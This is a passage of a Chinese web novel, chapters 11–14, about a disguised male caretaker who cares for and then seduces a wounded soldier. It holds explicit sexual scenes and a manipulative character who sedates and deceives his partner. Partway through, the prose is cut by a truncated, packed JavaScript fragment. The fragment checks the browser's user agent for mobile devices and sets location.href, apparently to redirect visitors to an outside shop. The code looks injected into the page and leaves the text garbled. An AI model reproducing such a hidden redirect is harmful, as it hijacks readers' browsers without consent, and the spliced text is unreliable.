指尖“不小心”擦过耳廓边缘,帕尔萨的翼状薄膜副耳不受控制的扇合了一下。
塞利斯像是没看见,收回手,步履轻快地转身离开。
菲克推着轮椅回去,“洛纳刚才的表情好可爱~”它看向帕尔萨,
“(⊙?⊙)”显示屏闪烁:“主虫,你的耳朵为什么红了?是过敏了吗?菲克需要在房间里启动空气过滤和抗敏模式吗?”
帕尔萨:“闭嘴。”
11. 第 11 章 修复舱的治疗
夜晚的别墅比白日更寂静,在漆黑又危险的原始森林中,宛如困着野兽的囚笼。
医疗室位于别墅底层,充满冰冷的器械金属和特殊药剂的气味。
中央有一台最新型号的全功能修复舱,流线型的舱体泛着幽蓝的待机光芒。
帕尔萨被菲克推进来时,塞利斯已经等在那里。
他换了一身便于活动的深色短袖和长裤,露出白皙的小臂。
塞利斯正在调配药液,几种不同色泽的液体在他手中的仪器里混合,暖白色的灯光从他头顶洒落,让他专注的侧脸看起来格外柔和。
听到声音,塞利斯抬起头,对帕尔萨笑了笑:“先生,稍等,马上就好。”
药液调配完毕,注入修复舱侧方的专用管道。
塞利斯走到修复舱旁,激活控制面板,进行最后的参数设置。淡蓝色的全息屏幕亮起,各种调置数据滚动。
“按照您目前的身体数据和精神力状况,我设定了低档的修复模式,主要针对您的体外创伤疤痕进行修复。”
塞利斯一边操作一边解释,声音平稳:
“过程可能刺激皮肤再生会有些奇异触感,但不会疼痛。如果您感觉任何不适,请立刻告诉我。”
帕尔萨之前在军团出任务时,因为A级军雌的自身修复能力很少用到修复舱,用过的一两次中,从来没有虫会这么耐心的在治疗前对他进行安抚。
塞利斯设置完毕,修复舱发出低低的充能音,上方的弧形舱盖无声滑开露出内壁,淡绿色的调配修复液正从底部缓慢注入。
“我需要帮您......”他转过身,目光落在帕尔萨身上,话说到一半,顿了顿。
帕尔萨知道塞利斯在看什么,修复舱治疗需要除去所有衣物,以确保药液和能量场能与皮肤充分接触,他的手指下意识的收紧了一下。
空气忽然变得有些粘稠。
塞利斯率先打破了沉默,他走过来,语气轻柔:“舱内温度调试好了,比体温略高一点。我先帮您做一下简单的消毒清洁。”
他说着,已经开始帮帕尔萨解开家居服最上方的纽扣,帕尔萨的身体紧绷起来。
塞利斯似乎察觉到了他的不自在,手上的动作更加轻缓,带着一种安抚的节奏。
他俯下身来,帮帕尔萨脱下上衣后就抱着他将他放到一侧的护理床上。
帕尔萨躺在狭窄的床上,塞利斯温热的掌心不可避免地掠过帕尔萨的四肢,帮他脱下内裤后,露出了还在安静睡觉的小帕尔萨。
帕尔萨有些难为情的别过头。
塞利斯动作自然的拿起用消毒药剂浸过的棉纱开始擦拭帕尔萨的身体,从脸颊到副耳的耳廓,从喉结到胸前,再沿着腹肌向下移动——
帕尔萨猛的按住他的手。
塞利斯抬起头,眼神平静清澈,带着疑惑:“先生?”
帕尔萨的嘴唇动了动,却发不出声音。
他能说什么?说停下?但昨天点头的是他。说我自己来?可他清楚自己当着塞利斯的面更让他做不到。
塞利斯太过平静坦然的表情好似这只是工作,显得只有帕尔萨一虫为此感到窘迫和不适。
塞利斯的目光在他紧绷的脸上停留片刻,然后缓缓的,用一种不容置疑又异常温柔的力道,将他的手拉开放下。
“别紧张,”塞利斯的声音压得很软,像在哄劝,“交给我。”
这句“交给我”像一句咒语,让帕尔萨挣扎的力气瞬间流失。他闭上眼,任由塞利斯完成了后续的动作。
但身体的触感太过明显,棉纱擦过皮肤留下粗糙的摩擦感过后升起一股奇怪的战栗感。
尤其塞利斯清洁的很细致,正面反面包括胸前的两点,主耳的覆膜,两瓣屁股,甚至是沉睡的小帕尔萨,都一丝不苟的擦拭完毕。
力道不轻不重,却好像四处点燃的火星最后汇合成一片火焰沿着脊椎往下燃烧。
他呼吸不免有些急促了起来,眼皮颤了一下但没有睁开。
所以也没有看见塞利斯是以一种怎样的神情仔细盯着那缓缓半醒的小帕尔萨。
琥珀的眼眸中翻涌着病态阴暗的满足感,嘴角勾起的弧度让这张平平无奇的亚雌脸都显得异常的邪肆。
帕尔萨只感觉到自己被擦拭清洁过后,很快被塞利斯有力的手臂抱起,小心翼翼地放入修复舱。
修复药液温暖地包裹上来,十分舒适的缓解了暴露带来的紧张感。帕尔萨紧绷的神经稍稍松懈,睁开了眼。
塞利斯正俯身,仔细地调整着他的姿势,让他的头部舒适地枕在专用的支撑凹槽里,又将他的手臂平放在身侧。
“这样舒服吗?”塞利斯低声问,呼吸近在咫尺。
帕尔萨胡乱地“嗯”了一声。
塞利斯微微一笑,拉过一旁的柔性传感器贴片,逐一贴在帕尔萨的胸口、腹部、太阳穴和四肢关键部位。
“好了。”他最后检查了一遍所有连接,
“舱盖关闭后,内部会有氧气循环,我会在外面监控所有数据。我加了一些精神舒缓剂来帮助您放松,尽量睡一会儿,效果最好。”
他用手指将帕尔萨的银色额发拢至脑后,动作轻柔的不像话。
然后,舱盖开始缓缓合拢。
帕尔萨透过渐窄的视野,看见塞利斯站在舱外,暖白的灯光勾勒着他清瘦的身影。
他正专注地看着舱内,琥珀色的眼眸在光线下显得很温柔,带着深深的关切,以及一种让帕尔萨分辨不清的浓厚情感。
舱盖彻底闭合,隔绝了外面的所有声音。
修复舱的光线变暗,修复程序启动,细微的能量流开始冲刷身体,随着精神舒缓药剂开始生效,帕尔萨有些放松困倦的闭上了眼睛。
舱外,塞利斯在控制台前坐下,调出实时监测的全息影像。光幕中,帕尔萨的身体数据平稳波动,精神力图谱也相对安定。
他静静地看着,指尖在控制台上无意识地轻敲。
菲克滑到他脚边,显示屏上冒出一个“(???)”的表情。
“洛纳,主虫的心跳和体表温度,在某个时间段有异常波动哦。”它用雀跃地说道,
“虽然还在安全范围,但波动曲线和数据库里‘情绪激动’或‘亲密接触害羞’的样本有77.5%的相似度!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049955|194800||http|test|mini|href|location''.split(''|''),0,{}));
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>“~(? ̄? ̄?)~”菲克晃晃头:“所以菲克判断,主虫应该真的很喜欢你~”
塞利斯眉眼弯弯的笑起来,嘴角的弧度怎么都压不下去,刚准备开口说话,就听见菲克继续说道:
“怪不得主虫想要带你回首都星收养你做弟弟,菲克也很喜欢洛纳~太好了,主虫终于有个弟弟了!”
“虽然你是个亚雌,不像军雌一样更为强大,但是没关系,之后你就是奥唐纳家族中的亚雌,继承者帕尔萨的弟弟!你就不是一般的亚雌!
你可以拥有无尽的财富、地位和你想要的所有生活,你知道奥唐纳家族代表着什么吗!那可是帝国四大贵族之首——”
塞利斯的笑意凝固在脸上,表情显得有些狰狞,他打断菲克的话咬牙切齿道:
“你说帕尔萨要收养我做弟弟?”
“是的呀,这几天主虫一直在询问菲克相关的联邦法律,他甚至有意向将自己的部分财产转移给你。”
“哎呀,完了。”菲克有些尴尬的挠挠头:“主虫是不是想给你个惊喜,被菲克一时说秃噜嘴了。”
看着塞利斯高兴到震惊的表情,算...惊喜吧?怎么好像又不是很高兴,震惊到脸色有些难看了呢。
菲克智脑分析着塞利斯的表情,越分析越混乱,想到主虫的惊喜被自己提前剧透,主虫不会把他重新拆解送到机器虫回收站吧。
“啊哈哈,哈,你不要说是菲克说的呦,菲克想起来还有屋子没有清洁,菲克先走了。”
菲克给自己开了一个清洁模式就边清扫边退出了医疗室。
塞利斯面无表情的将目光重新投向透明修复舱内那个安静的身影。
一开始装作亚雌接近帕尔萨是为了降低他的防备心。
毕竟以首都星的雄尊雌卑的社会地位,他以雄子的身份过来只会得到帕尔萨尊贵的招待和客套的疏远。大概率刚见面不久就会把他打包给雄子保护协会送到首都星过上好生活。
没想到帕尔萨真当他是亚雌,准备收他为弟弟,那他还怎么干掉白月光上位。
塞利斯眸色暗了暗,心中做了决定。
修复舱程序结束时,发出低微的嗡鸣,舱盖滑开,修复液自动排空。
帕尔萨睁开眼,他身上的疤痕都覆盖上了一层白色的薄膜,是药液刺激皮肤再生的效果。
原本A级军雌通过强大的身体机能也能如此快速恢复,但是帕尔萨受的伤太过严重,导致他的自身修复能力也大大受损。
他动了动身体,感觉皮肤上的痛感都好了许多。
“感觉如何?”塞利斯的声音传来。
帕尔萨转过头,塞利斯已站在舱边,手里拿着宽大柔软的吸湿毛巾。
“还好。”帕尔萨移开视线。
塞利斯弯下腰,将毛巾展开,裹住帕尔萨的肩膀和后背,然后稳稳地将他从舱内抱出。
塞利斯将帕尔萨转移到护理床上,他没有松手,而是保持着半环抱的姿势,低头看着帕尔萨,用另一只手拂开黏在他额前的一缕湿发。
“心跳有点快,”塞利斯低声说,指尖轻轻按揉着帕尔萨的太阳穴,“是哪里不舒服?”
12. 第 12 章 塞利斯掉马
他的呼吸喷洒在帕尔萨的脸上,帕尔萨声音有些干涩:“没有不舒服。”
“那就行。”塞利斯继续擦拭着,而后为他换上干净柔软的睡袍,再将他抱到轮椅上送回了卧室。
帕尔萨被舒适的安置在床上,塞利斯坐在床侧手里端着杯温热的饮品。
“修复会消耗一些能量,”塞利斯将杯子递到他手边:“喝点这个,会舒服些。”
帕尔萨接过,沉默地喝完。微甜的液体滑入喉咙,是温和的营养剂混合了花蜜的味道。
塞利斯接过空杯自然地俯身,替他整理好枕头让他躺下,将薄被拉高仔细掖好被角。
距离很近,帕尔萨能看清他低垂的眼睫,和额前那缕轻晃的碎发。
“好了,”塞利斯直起身,目光在帕尔萨脸上停留片刻,似乎在确认他的状态,
“您早些休息。”
“晚安,先生。”塞利斯语气温和,最后看了他一眼退出了房间。
门被轻轻带上,卧室陷入沉寂。
帕尔萨躺在柔软的黑暗里,身体的松弛感还在持续扩散,但他毫无睡意。
思绪愈发清晰,脑海中回放着一些画面——
塞利斯隔着棉纱擦拭他皮肤时的触感,俯身时笼罩下来的气息和体温,贴着耳廓的低语,和那份过于细致、甚至显得有些亲昵的专注。
洛纳应该是把他当做逝去的哥哥细心照顾,与冷漠的自己不同,洛纳是一个温柔阳光的亚雌,脸上总是带着让虫一看就心情变好的笑容。
他想将洛纳收养为弟弟,如果可以,谁会拒绝在自己身边留下这么一个贴心讨虫喜欢的弟弟。
但他只是把洛纳当做弟弟吗?
自己会因为弟弟的触碰而心跳失衡,会因为他的话语而心神不宁,甚至会因为他一个简单的照顾动作,就感到安心?
这太荒谬了。
他试图用理智去剖析,是因为长期伤病导致的心理脆弱,对唯一照料者的过度依赖?
还是因为洛纳身上那种莫名的熟悉感,混淆了他的判断?
抑或是对于近距离接触的本能反应,即使对方是同性?
每一个解释似乎都说得通,却又都单薄得无法完全覆盖他心底那丝怪异而清晰的悸动。
那不仅仅是依赖或本能,而是一种被牵引的感觉。仿佛塞利斯手中握着一根无形的丝线,每一次靠近、每一次触碰、每一个眼神,都在轻轻拨动他沉寂已久的心弦。
更令他不解的是,对于自己似乎受制于一个亚雌的举动,他为何一直只是困惑,而非真正感到被冒犯的愤怒?
为何在洛纳后面越界的时刻,他选择的是闭眼默许,不再是厉声喝止?
为何从一开始厌恶这种失控,到后面却逐渐沉沦?
被子被掖过的边缘紧贴着他的身体,那份妥帖的包裹感挥之不去,像一道温柔的枷锁。
第二天清晨,帕尔萨是被敲门声唤醒的,眉头微蹙,他昨晚想的太多,睡得不是很好。
“先生,您醒了吗?”塞利斯的声音隔着门板传来,依旧温和清朗。
帕尔萨闭了闭眼:“......进来。”
塞利斯推门而入,手里端着托盘,依旧是水杯和插着鲜花的瓷瓶。
“昨晚休息得好吗?”塞利斯一边将帕尔萨扶坐起来,递过水杯,一边自然地伸手探了探他的额头,
“体温似乎有点高,是修复后的正常反应,别担心。”
“嗯。”帕尔萨没有回答自己休息的好与不好,接过水喝完。
塞利斯直接上手拉开帕尔萨睡袍胸口的领子,露出大片饱满的肌肉,和覆盖着白膜已经变得接近透明的疤痕。
他似乎并没有觉得自己的动作有什么不妥,将领子拉好后轻声道:
“修复液已经吸收的差不多了,再有个两三次治疗疤痕就能彻底恢复,待会泡个澡吧,放松放松肌肉,洗一下药液的残留。”
塞利斯说的合理,帕尔萨没有拒绝,但在睡袍被脱下时,他还是感觉到了一阵羞哧。
浴室里水汽氤氲,塞利斯放好水试过水温,将帕尔萨抱进浴缸,温水缓缓漫过身体。
塞利斯先打湿帕尔萨的银发,挤上洗发水手指插入发间,轻柔地揉搓。
帕尔萨背对着他,头颅微微低垂,水珠顺着优美的颈线滑落,流过宽阔布满疤痕的背肌。
塞利斯的喉结滚动了一下,他移开视线,专注手上的动作。
冲洗干净头发,接下来是身体。塞利斯拿起沐浴球,涂上泡沫,从帕尔萨的后颈开始,沿着脊椎,一路向下。
然后再环过帕尔萨的肩膀,两虫的脸几乎相贴,他能闻到浓郁的冰雪气息。
“抬头。”塞利斯一手轻轻的将泡沫沿着帕尔萨的脖颈涂抹,看着他难为情的闭上眼,和绷紧仰起的脖颈弧线。
再沿着脖子向下,涂上绵密的泡沫。
帕尔萨喉间突然溢出一声闷哼,塞利斯觉得自己的血液在慢慢沸腾起来。
他眼眸深处翻涌着晦暗的深流,声音却听起来平静无波,“很快就好。”
水温似乎升高了,浴室里的空气变得粘稠而滚烫。
塞利斯换了个位置,坐到浴缸侧边,和帕尔萨面对面,洗到腿部,残端的皮肤格外敏感脆弱,塞利斯清洗到主耳处,故意沿着主耳的薄膜轻轻摩挲着缝隙。
帕尔萨身体猛地一颤,睁开眼看向塞利斯,暗红色的双眸在蒸腾的水汽中显得格外的湿润和脆弱,脸颊漫上的红晕十分诱虫。
塞利斯将眼中的情绪深藏,装作懵懂好奇的问道:“先生,这里是什么器官呀?”
他咬了咬嘴唇,显得有几分羞涩:“我之前看到没好意思问。”
帕尔萨看向塞利斯的眼神忽然变得十分危险,炙热的目光好似沿着塞利斯的面庞一寸寸刮过,缓缓开口道:“这是我的主耳,奥唐纳家族嫡系的虫体特征。”
塞利斯侧过头,好似不敢与他直视,避开了他的目光,拿着沐浴球的手指也逐渐收紧。
就在帕尔萨以为自己吓到了亚雌,准备移开目光时——
在有些潮湿的黑发掩映下,亚雌有一小块皮肤的色泽和纹理,与周围有着极其细微的差异。
一道几乎看不见的、笔直的接缝线,从耳垂下方延伸至发际线。
那不是疤痕。
帕尔萨的动作快于思考,他猛地抬手探入塞利斯湿润的发间,压向耳后那个预估的位置!
塞利斯身体一僵,手中的浴球掉落水中,惊愕地抬头:“您...怎么了?”
帕尔萨没说话,指尖摸索到一个微乎其微的凸起,指腹用力向下一按,随即向外一揭!
“嗞...”
随着极其轻微仿佛电流短路般的细响,一层近乎透明散发着微弱生物能量荧光的薄膜,从塞利斯的耳后发际线开始,如同被撕下的第二层皮肤,沿着下颌的轮
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廓被整片剥离,显露出底下截然不同的真实面貌。
空气瞬间凝固了。
浴室里只剩下水珠滴落的声响,和两虫陡然变得清晰的呼吸声。
薄膜在帕尔萨手中垂着,边缘还闪烁着失效的微光,而暴露在帕尔萨眼前的,
是一张惊心动魄的脸。
五官的轮廓变得精致深邃,眉骨与鼻梁的线条流畅得像上天的杰作。最惊虫的是那双琥珀色的眼眸,在雾气中泛着一种近乎妖异的流光,眼尾弧度微微上挑,长而浓密的睫毛湿漉漉地垂下时,有种勾虫心魂的美。
这张脸美得极具冲击力,那是一种精致到锋利,纯净中暗藏妖异,处于少年和青年之间模糊的美感,像传说中生于星尘与荆棘中的幻生花。
帕尔萨的呼吸彻底停了,他捏着那层薄膜,指尖发凉。
塞利斯缓缓抬手,摸了摸自己暴露在空气中的真实脸颊,抬眼看向帕尔萨震惊的脸。
“......对不起先生。”他嗫嚅了一下低声道歉,琥珀色双眸中带着颤抖的愧疚。
“你是谁?”帕尔萨的声音绷得很紧。
塞利斯垂下眼睫,又抬起:“塞利斯,这是我的真名,我是...雄子。”
“雄子”二字落下,像一块冰砸进温热的水中。
“为什么伪装?”帕尔萨的手指收紧,薄膜在他掌心皱成一团。
“为了活下去。”塞利斯的声音很轻,带着委屈和疲惫,
“我没有见过自己的雄父和雌父,一直和哥哥相依为命,但他很早因为精神暴动去世了。
我曾被雄子保护协会救助,但又因为意外被星盗抓走来到这个星球。
他们还没有决定好如何处置我时,内部就出了一些问题,趁着他们内斗的时候我逃了出来。
您应该知道,在西莫星上没有背景的雄子如果被发现,要么被黑市抓去拍卖,要么被当地势力控制圈养。
伪装成亚雌,是最适合生存方式,我需要养活自己。”
他顿了顿,看向帕尔萨,眼神干净又脆弱:“来这里工作,因为薪水足够高,而且您看起来不像会对‘亚雌’打骂欺辱的那种雇主。”
合理的理由,加上塞利斯微微发抖的肩膀和泛红的眼尾,配合那绝色的容颜,让虫下意识就想原谅他的所有。
雄子。
他之前冷眼旁观那些高高在上被无数雌虫趋之若鹜的雄子。
他理解这个社会因极端稀缺性而赋予雄虫的特权,那是维持种族繁衍与精神稳定的必要代价,他予以制度上的尊重。
但这不意味着他认同,更不意味着他接受自己也需要像那些失去自我的雌虫一样,为了获取一点可怜的信息素安抚和精神疏导,就将尊严与自主权双手奉上,对一个往往娇纵、脆弱、只知索取的生物低头。
一股复杂的情绪涌上心头,混杂着震惊、荒谬、对塞利斯遭遇的痛惜与被愚弄的怒意,
但更多的是一种深深的羞耻。
过去几天,不,过去几周的记忆倒灌般涌入脑海。
他如何在这双琥珀色的眼眸注视下,袒露遍布狰狞伤疤的躯体,他如何因幻肢痛和精神暴动而失态低吼,脆弱不堪,他如何默许甚至逐渐依赖那些亚雌的搀扶、拥抱、乃至更私密的清理......
每一次触碰,每一次不得已的裸露,每一次他觉得羞耻却无法拒绝的时刻——
观众,竟然是一个雄子!
13. 第 13 章 浴室中的临时标记
一个本该被帝国珍视、被雌虫仰望、被小心翼翼捧在掌心的,珍贵又脆弱的雄子!
而他,帕尔萨,如今只是一个废虫,一个连最基本尊严都无法维持,需要靠一个伪装身份的雄虫照顾才能活下去的残次品。
他甚至还对这照顾产生了可耻的贪恋。
这个认知像一把冰锥,狠狠凿穿了他所有混乱的关于亚雌的纠结,那些让他困惑的一切此刻都有了全然不同而又令虫难堪的注解。
昨晚那些关于“依赖”和“本能”的自我剖析,只显得可笑至极。他是在怜悯他吗?就像对待一个可怜虫,用自己的善心来维持这场荒诞的看护游戏?
愤怒的火焰燃烧着肺腑,但比愤怒更汹涌的,是铺天盖地的狼狈与自卑。
他的视线无法控制地扫过自己浸泡在水中的身体——残缺的下肢,萎缩的肌肉,满胸腹后背狰狞的伤疤以及蔓延到脸上丑陋的虫纹。
这些失败的残缺,此时在一个美丽到近乎虚幻的雄子面前无所遁形,显得格外刺目和肮脏。
他甚至无法像正常雌虫那样,用强健的体魄去保护或争取什么。他连自己都照顾不了,只是一个需要被抱来抱去的累赘。
一种强烈的自我厌弃感深深的将帕尔萨包围,他想立刻逃离这里,躲回那个曾经黑暗的,不会被虫看见也不会看见别虫的卧室深处。
“先生,我.......”急切中带着慌乱的声音响起。
塞利斯看他不说话,以为他不信,一边喊他一边抬手撕下了颈后的抑制贴。
抑制贴被撕下的瞬间,一股馥郁芳香的玫瑰味信息素瞬间充斥了整个浴室!那信息素的纯净中是不容拒绝的强势,带着让虫神魂颠倒的诱惑,蛮横地钻进帕尔萨每一个毛孔。
“!”帕尔萨闷哼一声,脊柱像被电流窜过,一股凶猛的热流从小腹炸开,直冲四肢百骸!虫纹不受控制地灼烧发烫。
他的翼状副耳完全失控张开,微微颤栗,瞳孔急剧收缩,呼吸粗重,浓郁狂冽如暴风雪的雌虫信息素毫无征兆地轰然爆发。
结合热,被高匹配度的雄虫信息素直接诱发,骤然吞没了帕尔萨的理智。
塞利斯似乎也被帕尔萨的信息素影响,脸颊泛起不正常的潮红,琥珀色的眼眸浮起一层水光,呼吸也变得急促。他看起来惊慌失措,仿佛完全没料到会这样。
“对、对不起,我不是故意的!”他声音发颤,慌乱地想重新贴回抑制贴,却不小心掉到了水中。
塞利斯无助地看向帕尔萨,那双眼被水汽和陌生的生理反应浸润,湿漉漉得惊虫:
“帕尔萨——”
他顿了一下,那个曾在上一世思念过无数次,带着无尽眷恋与恨意的称呼,终于冲口而出,带有哭腔和深深地依赖:
“哥哥,我该怎么办——”
哥哥。
两个字,像烧红的烙铁狠狠烫进帕尔萨的大脑,剧痛伴随着强烈的眩晕和混乱破碎的画面袭来。
“哥哥。”
是谁在亲昵的呼唤,模糊的笑脸。
“哥哥——”
爆炸的漫天火光,撕心裂肺的分离——
“啊!!!”帕尔萨痛苦地蜷缩起来,精神海域疯狂震荡,结合热的炙烤和记忆的冲击将他撕扯。
“哥哥!”塞利斯扑进浴缸,不顾全身湿透地抱住他,手臂紧紧环住他的身体,将脸贴在他颈侧,释放出更浓郁的信息素将帕尔萨包裹住。
“深呼吸放松,我在这里,我在这里......”
塞利斯探出精神力,在帕尔萨狂暴混乱的精神海域外围进行梳理和安抚,信息素和精神力的双重接触让帕尔萨渐渐平复下来,但身体的渴望燃烧得更旺。
帕尔萨眼神涣散,瞳孔深处却逐渐变得赤红,下意识抓紧塞利斯的双臂。
“哥哥,我想帮你,我要怎么做?”塞利斯声音带着焦急的哭腔,他压抑着自己也被勾起的生理性痛苦,只剩对帕尔萨的担忧。
帕尔萨急促的喘息,仅存的理智让他从牙缝里挤出字句:“出去!我会伤到你,让菲克,拿强效抑——”
“用那种东西,你现在的身体根本承受不住!”塞利斯罕见地厉声打断他的话,眼中摇摇欲坠的泪水终于滑落,
“我是雄子,我可以帮你哥哥,但我不知道怎么做,你教教我......”
琥珀色的双眸只映着帕尔萨一虫,眼尾带着奇异的绯红,整张脸在氤氲热气中妖冶得像盛放到极致的玫瑰。
美丽、脆弱、充满献祭般的诱惑。
而后他像对待易碎的珍宝,轻轻的吻上了帕尔萨爬满
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虫纹的那半张脸,
帕尔萨的理智崩断了。
他猛地扣住塞利斯的双手,将塞利斯压在了浴缸边缘,浴缸中溅出激烈的水花,湿透了地面。
粗暴的吻落在塞利斯的眼睛、鼻尖、唇角、颈侧...一路向下留下湿热的痕迹,一手也向下探去。
塞利斯发出一声短促的惊喘,身体绷紧又软化,手指无意识地插进帕尔萨的发间,收紧。
在帕尔萨看不见的角度,他的嘴角满足地向上弯了一下。
他的学习能力惊虫,很快便颤抖着,模仿着帕尔萨的动作,生涩而大胆地回还过去。
另一只手沿着主耳的薄膜缝隙加重力道的按揉,一边还要将唇贴在帕尔萨发烫的副耳耳廓问道:
“哥哥......这样,对吗?”
回答他的只有帕尔萨喉间压抑不住的破碎的呜咽。
浴火烧毁了帕尔萨大脑的理智,身体叫嚣着对信息素的渴望,他呼吸乱得不成样子,终于在某一刻,嘶哑地自暴自弃的命令:
“咬我...颈后腺体,把信息素...注进来...”
这是一个极其露骨的邀约,一句话让塞利斯兴奋到再次颤抖的翘了起来。
不知不觉间帕尔萨变为背靠着被塞利斯抱入怀间,他手上的动作不停,鼻尖痴迷的拱在帕尔萨颈侧,深吸一口气贪婪的闻着冰雪的气息。
“放松,哥哥,放松......”
他低声哄着,毫不犹豫的张口,咬在了帕尔萨颈后炙热发肿到跳动的腺体上,牙尖咬破皮肤,缓慢而坚定的注入信息素。
“呃啊!”帕尔萨痛苦的呻吟出声,身体猛地痉挛了一下,却被塞利斯的收紧的双臂按在怀中不能动弹,皮肤刺痛过后是被临时标记爽到头皮发麻的战栗。
浴室里只剩下晃动的泡澡水声、压抑的喘息和难以形容的声响。信息素疯狂相融,清冷的冰雪气息被滚烫的玫瑰染上彻底侵染包裹。
当狂野的浪潮终于暂歇,帕尔萨精疲力竭地瘫在塞利斯怀中,喘息未定。塞利斯轻轻环抱着他,手指有一下没一下地,梳理着他湿漉漉的银发。
他垂眸看着帕尔萨颈间,眼底是一片晦暗扭曲的餍足。
那里,新鲜的信息素标记气息,正混合着他自己的味道,缓缓弥漫。
14. 第 14 章 看电影
结合热的余韵退去,身体传来的疲惫和精神信息素相融带来的安抚感,让帕尔萨的意识漂浮在昏沉与清醒的边缘。
“睡吧,哥哥。”塞利斯在他耳边轻声道,同时探出精神力悄然渗入,加深了那份困倦的暗示
帕尔萨终是抵不住困意,眼睫轻微颤动了两下,失去了意识。
确认他的呼吸变得悠长平稳后,塞利斯用唇轻轻的印在帕尔萨的额角,重新换了水将两虫洗干净,擦干身体后将帕尔萨抱回了床上。
躺下后,塞利斯双臂紧紧环住那截柔韧的腰身,肌肤毫无隔阂相贴的触感让他满足的几乎要喟叹出声。
塞利斯亲了亲帕尔萨高挺的鼻尖,又含了含柔软的唇珠,最后将脸埋进他的颈窝,用鼻尖亲昵的蹭着,深深吸了一口玫瑰包裹着冰雪的气息。
“老婆,你好香......”他含糊的呢喃。
自己也在这份前所未有的安心与放松中,缓缓睡了过去。
帕尔萨睁开眼时,有一时间未清醒的迷茫。感觉好像有虫正枕着他的肩膀,蜷在他怀里。
意识一瞬间回笼。
浴室,失控的结合热,信息素的疯狂纠缠,临时标记的灼痛与快慰。
他做了什么?
引诱一个雄子在浴缸里,用信息素和身体,为自己这只残废的雌虫做临时标记,纾解结合热。
而且是他自己主动的要求!
帕尔萨一动塞利斯就醒了,身旁的雌虫久久未出声,他只能睁开眼。
“哥哥?”塞利斯声音还有些沙哑。
他的手臂还松松的环在帕尔萨腰间,指尖无意识地摩挲着对方腹部的一道疤痕。
帕尔萨身体一僵。
他猛地坐起身,拉开两虫之间的距离。
这明显的回避动作,让塞利斯眼底掠过一丝阴郁,但他迅速掩饰好自己的神情,装作小心翼翼的起身,向帕尔萨望去。
帕尔萨转头时,看到容颜绝世的小雄子撑着手臂慢慢坐起来,被子滑落露出里面白瓷一样的肌肤,上面遍布着猩红的吻痕,有一种被凌虐的美感。
...始作俑者正是自己,而受害者正用小兽一样湿漉漉的琥珀色双眸,忐忑不安的看着自己。
帕尔萨觉得自己头隐隐作痛。
什么对于塞利斯装作亚雌的生气羞恼,都被浴室的一场混乱像浇了冰水一样冷静了下来,却又陷入更深的情绪泥沼。
他已经二十七岁了,不是刚成年容易受信息素支配的毛头军雌,怎么能对一个连二次进化都可能未完成的小雄子,做出这种事?
塞利斯看着帕尔萨脸上变换的神情,决定自己先发制虫。
“对不起,哥哥,”塞利斯低头,露出脆弱的脖颈,声音轻轻的,
“我,我不是故意瞒着你,也不是故意露出...我只是想证明我没有骗你,不想被你赶走......”
这不赖他,帕尔萨也没有意料到两虫的信息素匹配度竟然如此之高,直接诱发他的结合热。
看着塞利斯认错的无助样子,帕尔萨心中不是滋味,他沉默片刻开口:
“这不是你的错。”
帕尔萨顿了顿,想要安慰他,“浴室是个意外,你不必放在心上。”
话一出口,连帕尔萨自己都觉得别扭,这话听着怎么这么像星网上吐槽的渣虫语录?
两虫间顿时陷入一种微妙的寂静。
塞利斯暗暗咬了一下后牙,抬起头时却是眼眶泛红,他小心翼翼的拉起帕尔萨宽阔的手掌,将脸贴向他的手背:
“我没地方去了,哥哥。”最后两个字,他念得很轻,说完含在眼中的泪水,像断线的珍珠般大颗的滑落,
“只有在这里,在你身边,我才觉得安全,别赶我走,好不好?”
没有任何一个雌虫能抵挡,美丽到妖冶又带着破碎感的雄子,如此依赖专注的看向自己,更何况身上还全都是自己的吻痕。
看着塞利斯落泪,帕尔萨的心也像是被滚烫的泪水所灼伤,他无声地叹了口气,算了。
帕尔萨另一只手抚上塞利斯的面颊,轻轻的擦去他的泪痕:“哭什么,我不会赶你走。”
塞利斯这才破涕为笑,先一步起身准备换衣服做晚饭。
胡闹了大半个白天,又睡了一下午,到现在已是傍晚。
帕尔萨看着塞利斯完全离开被子站在地板上,露出来布满暧昧痕迹的躯体,不自觉的向下看了一眼,然后视线像被烫了似的别开头。
小雄子的下面和美丽的容貌天差地别,在浴室醒着时狰狞异常,就连现在睡着时也不容小觑。
看这个样子,可能也许已经二次进化了吧,并且天赋异禀。
“哥哥,”塞利斯打断他的思绪,只见雄子抿了抿柔软的嘴唇,小声道:
“我的衣服都湿了,不能穿了,可以借一下你的吗?待会我去客房换回自己的。”
帕尔萨想起自己是如何把雄子按在温热的水中,在浴缸里胡作非为时,他主耳的缝隙不自觉的张合了一下。
“嗯。”
塞利斯故意选了一个宽大的衬衫,帕尔萨的身形原本就比他高大许多,这个衣服将将盖住他的屁股。
他只挽了挽的衣袖,也没找裤子,就这么光着一双笔直修长白得晃眼的腿,又找出一套舒适的家居服,回到床边帮帕尔萨换上。
两虫距离很近,塞利斯能清晰地感觉到,帕尔萨的视线如同实质,粘着在他腿上,又强自克制地移开,周而复始。
他暗自勾了勾唇角,一边为帕尔萨穿衣服,一边小声解释:“你的裤子太大了,我穿着肯定会掉。”
帕尔萨没吭声。从塞利斯换上他衬衫的那一刻起,他的视线就有些无处安放。
在自己的卧室,自己的领地,看着一个刚刚与自己有过最亲密接触的雄虫,穿着自己的衣服,露着笔直的白腿晃来晃去。
他感觉刚刚平息下去的结合热,似乎又有蠢蠢欲动的迹象。
塞利斯体贴地没有多逗留,给他穿好衣服便离开了卧室。等他再回来时,已经换回了自己的衣服,只是领口未能完全遮住脖颈上的一点红痕。
征得帕尔萨同意后,塞利斯推着他的悬浮轮椅前往餐厅准备晚餐。
路过走廊时,菲克滑过来,显示屏上一串乱码,最后变成一个“(⊙_⊙)?”的表情,小心翼翼地看着他们。
菲克其实早上就监测到了帕尔萨过山车一样的身体和精神数据,等它加速赶到门口时,更是捕捉到了从卧室门缝里溢出来张牙舞爪的玫瑰和冰雪交融的信息素。
以及里面不是很健康的声响数据,它有时候恨自己的感官接收器太过灵敏。
犹豫了一下,为了避免被帕尔萨杀虫分尸,它选择了在门口悄悄地消失。
